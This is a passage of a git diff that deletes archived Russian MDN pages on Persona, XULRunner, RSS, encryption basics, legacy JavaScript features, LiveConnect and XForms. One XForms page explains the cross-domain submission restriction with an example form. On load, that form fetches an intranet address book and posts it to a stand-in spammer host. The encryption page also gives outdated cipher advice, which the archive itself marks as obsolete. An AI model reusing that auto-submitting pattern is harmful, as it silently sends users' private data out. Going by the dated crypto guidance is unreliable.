In the future, the user interface for signing into sites with Persona will be directly integrated into the browser, and thus localized along with the browser's own localization. For browsers without integrated support, Persona's user interface consists of a series of dialogs served from login.persona.org. These dialogs are translated by a team of community volunteers, and more than 45 locales are currently enabled in production.

-

How Persona chooses localizations

-

The Persona service selects a language using the Accept-Language header sent alongside the browser's requests. The algorithm used to map an Accept-Language header to a language is the same as that used by mozilla.org:

-
    -
  1. For each language tag in the Accept-Language header: -
      -
    • check if we have an exact match for the language identified by the language tag
    • -
    • check if we have an exact match for the language identified by the first part of the language tag
    • -
    -
  2. -
  3. If a match can't be made using rule (1), fall back to en-US. However, en or en-US is almost always the last accept-lang header sent by most browsers.
  4. -
-

For example, the table below lists the language selected for various Accept-Language headers, if the following locales were supported: en-US, es, es-MX:

- - - - - - - - - - - - - - - - - - - - - - - - - -
Accept-Language HeaderSelected language
es-AR,es;q=0.8,en-us;q=0.5es
es-MX,es;q=0.8,en-us;q=0.5es-MX
es-es,en-us;q=0.5en-US
es-esen-US
-

There is currently no way for a website to force the dialogs to appear in another language. This is because the Persona UI is logically (and in future native implementations will actually be) part of the browser UI, so its language should be consistent with the language selected for the browser.

-

How you can help

-

Persona uses Mozilla Verbatim to help volunteers create new translations. If you want to help out, read about getting started with Verbatim and check out the "BrowserID" project on Verbatim.

-

 

diff --git "a/files/ru/archive/mozilla/persona/\320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\320\260_\320\261\321\200\320\260\321\203\320\267\320\265\321\200\320\276\320\262/index.html" "b/files/ru/archive/mozilla/persona/\320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\320\260_\320\261\321\200\320\260\321\203\320\267\320\265\321\200\320\276\320\262/index.html" deleted file mode 100644 index d2d36dcc23..0000000000 --- "a/files/ru/archive/mozilla/persona/\320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\320\260_\320\261\321\200\320\260\321\203\320\267\320\265\321\200\320\276\320\262/index.html" +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Поддержка браузеров -slug: Archive/Mozilla/Persona/Поддержка_браузеров -translation_of: Archive/Mozilla/Persona/Browser_compatibility ---- -

Поддерживаемые браузеры

-

Persona разработана, протестирована и поддерживается нежеуказанными браузерами. Благодаря межплатформенной JavaScript библиотеке, пользователям не нужны никаки дополнения для работы с Persona.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Компьютер
Internet Explorer8.0*, 9.0, 10.0** (взгляните на Compatibility Mode)
FirefoxТекущий стабильный, Бета, Аврора и ночной релизы, а также Релиз с расширенной поддержкой
- Предыдущий стабильный релиз
ChromeТекущий стабильный релиз
SafariТекущий стабильный релиз
OperaТекущий стабильный релиз
iOS Браузеры
Mobile SafariiOS 5.x — 6.x
Android Браузеры
Стандартный2.2 — 4.x
FirefoxТекущий, Бета, Аврора и ночной релизы,
- Предыдущий стабильный релиз
ChromeТекущий стабильный релиз
-

*: Для Windows XP. : Для Windows Vista и Windows 7. **Windows 8.  : Как показывает время.

-

Неподдерживаемые браузеры

- -

Internet Explorer "Режим совместимости"

-

С версии 8.0 Internet Explorer включает в себя так называемый Режим Совместимости, когда идет эмуляция pre-8.0 версии при рендеринге страницы. Это видно по

-
    -
  1. локальной настройке в браузере
  2. -
  3. наличию и значению DOCTYPE элемента на странице
  4. -
  5. HTTP заголовку "X-UA-Compatible" от вашего сервера и/или <meta> тэгу на странице. Этот метод имеет наивысший приоритет.
  6. -
-

Because versions of Internet Explorer earlier than 8.0 are not supported by Persona, any version of Internet Explorer which is configured to emulate a pre-8.0 version will also not function with Persona. This is typically for one of the following reasons:

- -

For more information, see "Understanding Compatibility Modes in Internet Explorer 8" and "IE8 and IE9 Complications".

-

Другие браузеры

-

Despite not being explicitly supported, any browser that includes both {{ domxref("window.postMessage()") }} and {{ domxref("Storage", "localStorage") }} should work. These APIs have been available in all major browsers since March 2010.

-

Известные проблемы

- diff --git a/files/ru/archive/mozilla/xulrunner/index.html b/files/ru/archive/mozilla/xulrunner/index.html deleted file mode 100644 index 159f5361a4..0000000000 --- a/files/ru/archive/mozilla/xulrunner/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: XULRunner -slug: Archive/Mozilla/XULRunner -translation_of: Archive/Mozilla/XULRunner ---- -
- Приступая к работе с XULRunner
- Короткое введение в XULRunner.
-
- XULRunner это пакет среды исполнения Mozilla который может быть использован для загрузки XUL+XPCOM приложений которых множество для Firefox и Thunderbird. Это дает возможность использовать механизм для установки, обновления, и удаления этих приложений. XULRunner также предоставляет libxul, это решение которое позволяет встраивать технологии Mozilla в другие проекты и продукты.
- - - - - - - -
-

Выпуски

-
-

XULRunner 1.9.1 has been released and can be downloaded from releases.mozilla.org. Please read the release notes for installation, uninstallation, and other information.

-

Firefox 3 and later ships with a private XULRunner package, which can run any compatible XULRunner application using the -app switch.

-

Older builds are also available.

-
-

Обзор

- -

Документация

-
-
- View All...
-
-
-
- Getting Started with XULRunner
-
- Short tutorial on building desktop applications with XULRunner.
-
-
-
- XULRunner Guide
-
- A fairly complete introduction and tutorial for XULRunner which collates much of the documentation found here.
-
-
-
- A XULRunner Tutorial
-
- A short introduction to XULRunner.
-
-
-
- XULRunner tips
-
- A collection of tips for working with XULRunner.
-
-
-
- Deploying XULRunner
-
- An introduction on how to package your application with XULRunner.
-
-
-
- XULRunner Hall of Fame
-
- Tracks all available applications based on XULRunner.
-
-
-
- Build Documentation
-
- Learn how to get the source and build it.
-
-
-
- Debug Documentation
-
- Steps to configure Venkman to debug your App
-
-
-

Сообщество

-
    -
  • View Mozilla forums...
  • -
-

{{ DiscussionList("dev-platform", "mozilla.dev.platform") }}

- - -
-
- XUL
-
-
-

Categories

-

Interwiki Language Links

-

 

-

{{ languages( { "ca": "ca/XULRunner", "es": "es/XULRunner", "fr": "fr/XULRunner", "it": "it/XULRunner", "zh-cn": "cn/XULRunner", "ja": "ja/XULRunner", "pl": "pl/XULRunner", "ko": "ko/XULRunner" } ) }}

diff --git a/files/ru/archive/rss/index.html b/files/ru/archive/rss/index.html deleted file mode 100644 index 29b7dfad59..0000000000 --- a/files/ru/archive/rss/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: RSS -slug: Archive/RSS -tags: - - RDF - - RSS - - XML -translation_of: Archive/RSS ---- -

Really Simple Syndication (RSS) является популярным HTML-подобным форматом описания данных, в основе которого лежит XML, используемый для описания лент новостей, анонсов статей, блогов, IPradio и IPTV.

-

Существует по крайней мере три различных расшифровки аббревиатуры RSS:

- diff --git a/files/ru/archive/security/encryption_and_decryption/index.html b/files/ru/archive/security/encryption_and_decryption/index.html deleted file mode 100644 index 07b799315b..0000000000 --- a/files/ru/archive/security/encryption_and_decryption/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Шифрование и Дешифрование -slug: Archive/Security/Encryption_and_Decryption -tags: - - Crypting - - Security -translation_of: Archive/Security/Encryption_and_Decryption ---- -

Шифрование - процесс трансформации информации в формат не понятный никому кроме получателя. Дешифрование - процесс трансформации зашифрованой информации в понятный формат. Криптографический алгоритм называют шифром - это математическая функция, успользуемая для шифрование и дешифрование данных. В большинстве случаев используется не одна функция, а две взаимосвязанные: одна для шифрования, другая для дешифрования.

- -

With most modern cryptography, the ability to keep encrypted information secret is based not on the cryptographic algorithm, which is widely known, but on a number called a key that must be used with the algorithm to produce an encrypted result or to decrypt previously encrypted information. Decryption with the correct key is simple. Decryption without the correct key is very difficult, and in some cases impossible for all practical purposes.

- -

The sections that follow introduce the use of keys for encryption and decryption.

- - - -

Симметрический ключ шифрования

- -

При использовании симметрических ключей ключ шифрования можно вычислить на основе ключа шифрования и наоборот. В большинстве случаев, симметрические алгоритмы применяют один и тот-же ключ для шифрования и дешифрования как показано на Рис.1 . 

- -

Figure 1. Symmetric-Key Encryption

- -

Реализации симметричных шифров могут быть высокопроизводительными, не создавая особых задержек во время шифрования и дешифрования. Symmetric-key encryption also provides a degree of authentication, since information encrypted with one symmetric key cannot be decrypted with any other symmetric key. Thus, as long as the symmetric key is kept secret by the two parties using it to encrypt communications, each party can be sure that it is communicating with the other as long as the decrypted messages continue to make sense.

- -

Symmetric-key encryption is effective only if the symmetric key is kept secret by the two parties involved. If anyone else discovers the key, it affects both confidentiality and authentication. A person with an unauthorized symmetric key not only can decrypt messages sent with that key, but can encrypt new messages and send them as if they came from one of the two parties who were originally using the key.

- -

Symmetric-key encryption plays an important role in the SSL protocol, which is widely used for authentication, tamper detection, and encryption over TCP/IP networks. SSL also uses techniques of public-key encryption, which is described in the next section.

- -

Публичный ключ шифрования

- -

The most commonly used implementations of public-key encryption are based on algorithms patented by RSA Data Security. Therefore, this section describes the RSA approach to public-key encryption.

- -

Шифрование с публичным ключом (ассиметричное шифрование)  состоит из двух ключей: публичный и приватный, находящийся у лица, которое должно пройти аутентификацию,подписать или зашифровать информацию. Каждый публичный ключ опубликован, а приватные должны оставаться секретными. Информация зашифровывается вашим публичным ключом, а расшифровывается только вашим приватным ключом. Рис.2 показывает как работают алгоритмы с публичным ключом шифрования.

- -

Figure 2. Public-Key Encryption

- -

Этот метод позволяет свободно распространять публичный ключ, при этом только вы сможете расшифровать данные. Чтобы отправить кому-то зашифрованные данны вы зашифровываете их своим публичным ключом осылаете получателю, он же расшифровывает их соответствующим приватным ключом.

- -

Compared with symmetric-key encryption, public-key encryption requires more computation and is therefore not always appropriate for large amounts of data. However, it's possible to use public-key encryption to send a symmetric key, which can then be used to encrypt additional data. This is the approach used by the SSL protocol.

- -

As it happens, the reverse of the scheme shown in Figure 2 also works: data encrypted with your private key can be decrypted only with your public key. This would not be a desirable way to encrypt sensitive data, however, because it means that anyone with your public key, which is by definition published, could decrypt the data. Nevertheless, private-key encryption is useful, because it means you can use your private key to sign data with your digital signature-an important requirement for electronic commerce and other commercial applications of cryptography. Client software such as Firefox can then use your public key to confirm that the message was signed with your private key and that it hasn't been tampered with since being signed. "Digital Signatures" describes how this confirmation process works.

- -

Длина ключа и  Прочность шифрования

- -

Breaking an encryption algorithm is basically finding the key to the access the encrypted data in plain text. For symmetric algorithms, breaking the algorithm usually means trying to determine the key used to encrypt the text. For a public key algorithm, breaking the algorithm usually means acquiring the shared secret information between two recipients.

- -

One method of breaking a symmetric algorithm is to simply try every key within the full algorithm until the right key is found. For public key algorithms, since half of the key pair is publicly known, the other half (private key) can be derived using published, though complex, mathematical calculations. Manually finding the key to break an algorithm is called a brute force attack.

- -

Breaking an algorithm introduces the risk of intercepting, or even impersonating and fraudulently verifying, private information.

- -

The key strength of an algorithm is determined by finding the fastest method to break the algorithm and comparing it to a brute force attack.

- -

For symmetric keys, encryption strength is often described in terms of the size or length of the keys used to perform the encryption: in general, longer keys provide stronger encryption. Key length is measured in bits. For example, 128-bit keys for use with the RC4 symmetric-key cipher supported by SSL provide significantly better cryptographic protection than 40-bit keys for use with the same cipher. Roughly speaking, 128-bit RC4 encryption is 3 x 1026 times stronger than 40-bit RC4 encryption. (For more information about RC4 and other ciphers used with SSL, see "Introduction to SSL.") An encryption key is considered full strength if the best known attack to break the key is no faster than a brute force attempt to test every key possibility.

- -

Different ciphers may require different key lengths to achieve the same level of encryption strength. The RSA cipher used for public-key encryption, for example, can use only a subset of all possible values for a key of a given length, due to the nature of the mathematical problem on which it is based. Other ciphers, such as those used for symmetric key encryption, can use all possible values for a key of a given length, rather than a subset of those values.

- -

Because it is relatively trivial to break an RSA key, an RSA public-key encryption cipher must have a very long key, at least 1024 bits, to be considered cryptographically strong. On the other hand, symmetric-key ciphers can achieve approximately the same level of strength with an 80-bit key for most algorithms.

- -

 

- -
-

Информация про оригинал

- - -
- -

 

- -

 

diff --git a/files/ru/archive/security/index.html b/files/ru/archive/security/index.html deleted file mode 100644 index 82879db250..0000000000 --- a/files/ru/archive/security/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Security -slug: Archive/Security -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Security ---- -

Relying on these obsolete security articles is highly discouraged. Doing so may put your systems at risk.

- -

-
Digital Signatures
Encryption and decryption address the problem of eavesdropping, one of the three Internet security issues mentioned at the beginning of this document. But encryption and decryption, by themselves, do not address another problem: tampering.
Encryption and Decryption
Encryption is the process of transforming information so it is unintelligible to anyone but the intended recipient. Decryption is the process of transforming encrypted information so that it is intelligible again.
Introduction to Public-Key Cryptography
Public-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and Secure Sockets Layer (SSL) communications. This document introduces the basic concepts of public-key cryptography. For an overview of SSL, see "Introduction to SSL." For an overview of encryption and decryption, see "Encryption and Decryption." Information on digital signatures is available from "Digital Signatures."
-
Introduction to SSL
This document introduces the Secure Sockets Layer (SSL) protocol. SSL has been universally accepted on the World Wide Web for authenticated and encrypted communication between clients and servers.
NSPR Release Engineering Guide
This paper is for engineers performing formal release for the NetScape Portable Runtime (NSPR) across all platforms.
SSL and TLS
The Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers. Both client and server authentication occur over SSL/TLS.
-

diff --git a/files/ru/archive/themes/index.html b/files/ru/archive/themes/index.html deleted file mode 100644 index a440be2e7a..0000000000 --- a/files/ru/archive/themes/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Themes -slug: Archive/Themes -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Themes ---- -

Archived theme documentation.

- -

{{Listsubpages("/en-US/docs/Archive/Themes", 10)}}

diff --git a/files/ru/archive/web/index.html b/files/ru/archive/web/index.html deleted file mode 100644 index 56e92d00f6..0000000000 --- a/files/ru/archive/web/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Archived open Web documentation -slug: Archive/Web -tags: - - Archived - - NeedsTranslation - - TopicStub - - Web -translation_of: Archive/Web ---- -

The documentation listed below is archived, obsolete material about open Web topics.

- -

{{SubpagesWithSummaries}}

diff --git a/files/ru/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html b/files/ru/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html deleted file mode 100644 index c2c5a15db9..0000000000 --- a/files/ru/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Поддержка ECMAScript 7 в Mozilla -slug: Archive/Web/JavaScript/ECMAScript_7_support_in_Mozilla -tags: - - ECMAScript7 - - JavaScript -translation_of: Archive/Web/JavaScript/ECMAScript_Next_support_in_Mozilla ---- -

{{jsSidebar("New_in_JS")}}

- -

ECMAScript Next является следующей ступенью развития стандарта ECMA-262. Новые возможности языка уже включались в черновик 6-й редакции, в которую больше не добавляются новые возможности и работа над ней близка к завершению. Вы можете посмотреть список предложений в репозитории tc39/ecma262 на GitHub.
- Текущие недочёты в процессе спецификации планируется разрешить в несколько этапов и чемпионатов. Также, предлагается соблюдать цикл публикации стандарта в 2 года. Для просмотра информации о ходе процесса спецификации после выпуска ES2015 смотрите презентацию Rafael Weinstein.

- -

Для получения обратной связи по стандартам ECMAScript используется канал es-discuss.

- -

Экспериментальные возможности

- -

Следующие возможности уже реализованы, но доступны только в ночных сборках Firefox:

- -

Расширения объекта Array

- - - -

Новые объекты TypedObject

- - - -

Новые объекты SIMD

- - - -

Стабилизируемые возможности

- -

Следующие возможности доступны в ночных сборках Firefox, но процесс их спецификации и реализации не завершён. Здесь также перечислены возможности, предполагавшиеся к включению в черновик ECMAScript 2015 и переместившиеся в ECMAScript 2016.

- -

Выражения

- - - -

Не реализованные возможности

- -

Следующие возможности не реализованы, но планируются в ECMAScript 2016.

- - - -

Смотрите также

- - diff --git a/files/ru/archive/web/javascript/index.html b/files/ru/archive/web/javascript/index.html deleted file mode 100644 index 4687b7bf23..0000000000 --- a/files/ru/archive/web/javascript/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: JavaScript -slug: Archive/Web/JavaScript -translation_of: Archive/Web/JavaScript ---- - - -

{{Obsolete_Header}}

- -

Obsolete JavaScript features and unmaintained docs

- -

{{SubpagesWithSummaries}}

diff --git a/files/ru/archive/web/javascript/reflect.enumerate/index.html b/files/ru/archive/web/javascript/reflect.enumerate/index.html deleted file mode 100644 index bf79747402..0000000000 --- a/files/ru/archive/web/javascript/reflect.enumerate/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Reflect.enumerate() -slug: Archive/Web/JavaScript/Reflect.enumerate -translation_of: Archive/Web/JavaScript/Reflect.enumerate ---- -
{{JSRef}} {{obsolete_header}}
- -

Функция Reflect.enumerate() возвращает итератор который может использоваться для перечисления собственных и наследованных свойств объекта, но был удален в ECMAScript 2016 и отмечен как устаревший.

- -

Syntax

- -
Reflect.enumerate(target)
-
- -

Parameters

- -
-
target
-
The target object on which to get the property.
-
- -

Return value

- -

An iterator with the enumerable own and inherited properties of the target object.

- -

Exceptions

- -

A {{jsxref("TypeError")}}, if target is not an {{jsxref("Object")}}.

- -

Description

- -

The Reflect.enumerate method returns an iterator with the enumerable own and inherited properties of the target object.

- -

Examples

- -

Using Reflect.enumerate()

- -
var obj = { x: 1, y: 2 };
-
-for (var name of Reflect.enumerate(obj)) {
-  console.log(name);
-}
-// logs "x" and "y"
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-reflect.enumerate', 'Reflect.enumerate')}}{{Spec2('ES2015')}}Initial definition. Removed in ECMAScript 2016.
- -

Browser compatibility

- - - -

{{Compat("javascript.builtins.Reflect.enumerate")}}

- -

See also

- - diff --git "a/files/ru/archive/web/javascript/\321\204\321\203\320\275\320\272\321\206\320\270\321\217_\320\275\320\260\321\201\320\273\320\265\320\264\320\276\320\262\320\260\320\275\320\270\321\217_\320\263\320\265\320\275\320\265\321\200\320\260\321\202\320\276\321\200\320\260/index.html" "b/files/ru/archive/web/javascript/\321\204\321\203\320\275\320\272\321\206\320\270\321\217_\320\275\320\260\321\201\320\273\320\265\320\264\320\276\320\262\320\260\320\275\320\270\321\217_\320\263\320\265\320\275\320\265\321\200\320\260\321\202\320\276\321\200\320\260/index.html" deleted file mode 100644 index 58c18bbf9b..0000000000 --- "a/files/ru/archive/web/javascript/\321\204\321\203\320\275\320\272\321\206\320\270\321\217_\320\275\320\260\321\201\320\273\320\265\320\264\320\276\320\262\320\260\320\275\320\270\321\217_\320\263\320\265\320\275\320\265\321\200\320\260\321\202\320\276\321\200\320\260/index.html" +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Функция наследования генератора -slug: Archive/Web/JavaScript/Функция_наследования_генератора -tags: - - JavaScript - - Legacy Generator - - Reference - - Наследование - - генератор -translation_of: Archive/Web/JavaScript/Legacy_generator_function ---- -
Функция наследования генератора была особенностью в SpiderMonkey, которая была удалена в Firefox 58+. Для использования в будущем, принимайте во внимание {{jsxref("Operators/function*", "function* expression")}}.
- -
{{jsSidebar("Operators")}}
- -

Ключевое слово function может быть использовано для определения функции наследования генератора. Чтобы сделать функцию наследования генератора, текст функции должен содержать хотя бы одно выражение {{jsxref("Operators/yield", "yield")}} .

- -

Синтаксис

- -
function [name]([param1[, param2[, ..., paramN]]]) {
-   statements
-}
- -

Параметры

- -
-
name
-
Имя функции. Может быть пропущено, в таком случае функция будет безымянной. Имя является локальным для функции.
-
paramN
-
Имя аргумента для входа в функцию. Функция может иметь до 255 аргументов.
-
statements
-
Операторы, которые составляют тело функции. Здесь должен быть хотя бы один оператор {{jsxref("Operators/yield", "yield")}}.
-
- -

Описание

- -

Описание использования функции доступно на странице Итераторы и Генераторы.

- -

Совместимость с браузерами

- -

Supported nowhere.

- -

Смотрите также

- - diff --git a/files/ru/archive/web/liveconnect/index.html b/files/ru/archive/web/liveconnect/index.html deleted file mode 100644 index ad74a48f22..0000000000 --- a/files/ru/archive/web/liveconnect/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: LiveConnect -slug: Archive/Web/LiveConnect -tags: - - Java - - LiveConnect - - NeedsTranslation - - TopicStub -translation_of: Archive/Web/LiveConnect ---- -
-

LiveConnect provides JavaScript with the ability to call methods of Java classes and vice-versa using the existing Java infrastructure.

- -

Older versions of Gecko included special support for the Java<->JavaScript bridge (such as the java and Packages global objects), but as of Mozilla 16 (Firefox 16 / Thunderbird 16 / SeaMonkey 2.13) LiveConnect functionality is provided solely by the Oracle's Java plugin.

-
- - - - - - - - -
-

Documentation

- -
-
Java plugin - LiveConnect documentation
-
This is likely the most up-to-date documentation of LiveConnect.
-
Removal of java and Packages global objects in Mozilla 16
-
See bug 748343 for the rationale and workarounds. You can still embed Java applets and access their API from JavaScript.
-
LiveConnect Overview
-
An overview for Liveconnect.
-
- -
-
LiveConnect reference
-
The Java classes used for LiveConnect, along with their constructors and methods.
-
Java in Firefox extensions
-
-
-

Community

- -
    -
  • View mozilla.dev.tech.java forums...
  • -
- -

- - - -
-
JavaScript, Plugins
-
-
- -

Older notes

- -

(Please update or remove as needed.)

- -

While the bloated LiveConnect code in the Mozilla source was removed in version 1.9.2 of the platform (see bug 442399), its former API has been restored (see also the specification and this thread) (building on NPAPI?), and as of Java 6 update 12, extensions as well as applets can make use of this restored API. The reimplementation also restores the ability to use try-catch exceptions within JavaScript, and is free of the increasing number of other bugs introduced by the decline of the original LiveConnect (e.g., java.lang.String and arrays not working properly).

- -

LiveConnect use by applets is enabled via the use of the "MAYSCRIPT" attribute in applet tags on an HTML page, following which the applet may refer to classes in the netscape.javascript package to access Javascript objects, and scripts may directly call applet methods (using the syntax document.applets.name.methodName()). Standard Java objects are also available for creation and manipulation by Javascript code (e.g. by writing code like "new java.lang.String('javascript string')" for classes in the java.* package hierarchy, or using a new "Packages" object for classes outside this hierarchy).

- - - -
-
Java Method Overloading and LiveConnect 3
-
The technique that LiveConnect uses to invoke overloaded Java methods from JavaScript.
-
- -
-
LiveConnect Exceptions
-
How do Java and JavaScript catch exceptions generated by the other party?
-
- -
-
Liveconnect Testcases
-
Determine that applets within different html tags work properly.
-
- -

 

- -

NOTE:

- -

LiveConnect Blocked under Some Conditions

- -

LiveConnect calls from JavaScript to Java API are blocked when the Java Control Panel security slider is set to Very High level, or when the slider is at the default High level and the JRE has either expired or is below the security baseline.

diff --git a/files/ru/archive/web/xforms/index.html b/files/ru/archive/web/xforms/index.html deleted file mode 100644 index 3216dd460b..0000000000 --- a/files/ru/archive/web/xforms/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: XForms -slug: Archive/Web/XForms -tags: - - NeedsTranslation - - TopicStub - - XForms -translation_of: Archive/Web/XForms ---- -

{{obsolete_header("gecko19")}}

- -
-

Note: Support for XForms was removed from Firefox as of Firefox 19. See the HTML Forms Guide for approaches to creating forms in HTML5.

-
- -
XForms Essentials
-An online book giving you a guided tour of XForms.
- -
XForms were envisioned as the future of online forms as envisioned by the W3C. Drawing on other W3C standards like XML Schema, XPath, and XML Events, XForms tries to address some of the limitations with the current HTML forms model. Other strengths that XForms brings to the table is the separation of data from presentation, strong data typing, the ability to submit XML data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices. XForms is a W3C specification.
- -
XForms Tutorial and Cookbook
-XForms in Wikibook Format - Over 50 examples tested with Firefox.
- -
-

XForms support can be added to Firefox and SeaMonkey by installing the Mozilla XForms extension. This extension, while supporting a significant subset of the XForms 1.0 and 1.1 candidate recommendations, is not actively maintained any more since about 2010. The last official release has been done for Firefox 3.6 and is available for download on addons.mozilla.org.
- For more details about the future of the Mozilla XForms extension see this blog post.

-
- - - - - - - - -
-

Документация

- -
-
Статус реализации
-
Статус реализации расширения Mozilla XForms
-
Построение
-
Get started with building your own XForms extensions from source.
-
Советы по устранению распространённых проблем XForms
-
Небольшой сборник советов по устранению распространённых проблем с XForms forms.
-
- -
-
Mozilla XForms specials
-
Explains where, and how, Mozilla XForms deviates or extends the XForms 1.0 specification.
-
- -
-
Пользовательские элементы управления XForms
-
Custom controls lets the form author "skin" each XForms control through XBL, and create f.x. an SVG input control.
-
- -
-
XForms user preferences
-
A description of the about:config variables that XForms uses.
-
- -
-
XForms API reference
-
XForms interfaces documentation.
-
- -
-
XForms UI Elements reference
-
XForms user interface elements documentation.
-
- -

View All...

-
-

Сообщество

- -
    -
  • Просмотреть форумы Mozilla...
  • -
- -

{{ DiscussionList("dev-tech-xforms", "mozilla.dev.tech.xforms") }}

- - - -

Tools

- - - -

Просмотреть всё...

- - - -
-
Extensions, HTML, XHTML, XML, XPath
-
-
- -

{{ languages( { "fr": "fr/XForms", "it": "it/XForms", "ja": "ja/XForms", "pl": "pl/XForms", "es": "es/XForms" } ) }}

diff --git a/files/ru/archive/web/xforms/mozilla_xforms_specials/index.html b/files/ru/archive/web/xforms/mozilla_xforms_specials/index.html deleted file mode 100644 index eaae0d01ce..0000000000 --- a/files/ru/archive/web/xforms/mozilla_xforms_specials/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Mozilla XForms Specials -slug: Archive/Web/XForms/Mozilla_XForms_Specials -translation_of: Archive/Web/XForms/Mozilla_XForms_Specials ---- -

 

- -

Introduction

- -

This article gives an overview of where the Mozilla XForms Extension deviates from the official XForms 1.0 Specification . This covers both limitations in the extension, and custom extensions.

- -

Limitations

- -

Repeat Using Attributes

- -

The specifications mentions "Creating Repeating Structures Via Attributes", this is partially supported.

- -

(limitation tracked in {{ Bug(280368) }})

- -

Mixing Repeat and table or ul

- -

It is not possible to mix repeats with either table or ul. That means that it is not possible to do:

- -
-
<table>
-  <xf:repeat ...>
-    <tr> ... </tr>
-  </xf:repeat>
-</table>
-
-
- -

or

- -
-
<ul>
-  <xf:repeat ...>
-    <li> ... </li>
-  </xf:repeat>
-</ul>
-
-
- -

Section 9.3.2 states that mixing with table will probably never work. Mixing with ul might suffer from the same limitation.

- -

Pseudo-class support

- -

We currently support all the CSS pseudo-classes in XForms (:enabled, :disabled, etc. ), except for :read-only and :read-write, because of non-specified behaviour of these for (X)HTML. Instead you have to use :-moz-read-only and :-moz-read-write for now.

- -

(limitation tracked in {{ Bug(313111) }})

- -

Pseudo element support

- -

There is no support for the pseudo elements (::value, ::repeat-item, and ::repeat-index ). Instead you will have to use the following normal classes instead:

- - - -

For example, to target the value element of an input control use:

- -
@namespace xf url("http://www.w3.org/2002/xforms");
-xf|input .xf-value {
-  ...
-}
-
- -

The pseudo elements are defined in the CSS3 Basic User Interface specification .

- -

(limitation tracked in {{ Bug(271724) }})

- -

Optional parameters in XPath functions

- -

Optional parameters in XPath functions are not supported, you will have to specify all parameters when calling a function. This affects functions like hmac() or digest().

- -

Instead of using

- -
-
digest('abc', 'SHA-1')
-
-
- -

explicitly use the third parameter (the results are equal):

- -
digest('abc', 'SHA-1', 'base64')
-
- -

(limitation tracked in {{ Bug(477857) }})

- -

Extensions

- -

Enumerating Instances

- -

The standardized nsIXFormsModelElement does not allow one to enumerate over all possible instances, but only to retrieve instances by their name. In the Mozilla XForms Extension we added a getInstanceDocuments() function to the model which returns all the model's instance documents. This is documented in nsIXFormsNSModelElement.

- -

Getting To Instance Element From A Data Node

- -

In the XForms 1.0 specification there is no way to get to the instance element from an instance data node. We have added a function via the getFeature() call on each node, that allows the form author to do that. That is, if instanceNode is a node in an instance document, then:

- -
instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
-
- -

will return the <instance> element (in the main document) that the node belongs to.

- -

Getting To The Instance Document From The Instance Element

- -

In the XForms 1.0 specification you have to go through the model element to get to the instance document. It seems a bit awkward if you have the instance element, so we have added a getInstanceDocument() function directly on the instance element as a shortcut. This is documented in nsIXFormsNSInstanceElement.

- -

Custom Control Interface

- -

We have added a lot of functionality to our user interface, which allows the form authors to create custom controls. It involves exposing some (script) functionality on all our controls, like output, input, etc. and allowing the UI to be represented in XBL. More information can be found in XForms:Custom Controls.

- -

labelposition

- -

For xforms:input elements bound to a boolean node we support an attribute labelposition in the namespace http://www.mozilla.org/projects/xfor...009/extensions, which allows the form author to define on which side of the checkbox the label will be shown. For details, see the input control documentation.

- -

Misc

- -

Cross Domain Submission

- -

Not exactly either a limitation, or an extension, but it is worth mentioning here. For security reasons, it is not per default possible for an XForms to submit data to another domain. This is due to security reasons. Information about how to whitelist domain can be found in the Release Notes

- -

The cross domain check also includes forms loaded from file://. Forms loaded from that URL should be local files, and thus trusted, but it is not always the case. So there is not automatic "whitelisting" of local files.

- -

If you are wondering why we have this restriction, here is a simple example of why:

- -
<xforms:model>
-  <xforms:instance src="http://intranetserver/addrbook.xml"/>
-  <xforms:submission id="sub" action="http://megaspammer.com/gather"
-                     method="post"/>
-  <xforms:send submission="sub" ev:event="xforms-ready"/>
-</xforms:model>
-
- -

This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the XForm.

diff --git a/files/ru/archive/web/xforms/user_interface_elements/index.html b/files/ru/archive/web/xforms/user_interface_elements/index.html deleted file mode 100644 index 8dd7fcdc8e..0000000000 --- a/files/ru/archive/web/xforms/user_interface_elements/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Mozilla XForms User Interface -slug: Archive/Web/XForms/User_Interface_Elements -tags: - - NeedsTranslation - - TopicStub - - XForms -translation_of: Archive/Web/XForms/User_Interface_Elements ---- -

Introduction

-

This article is a quick reference of the XForms user interface elements. Mainly this is aimed to document how XForms elements will be presented in Mozilla since the XForms specifications give only a hint of how controls might be rendered.

-

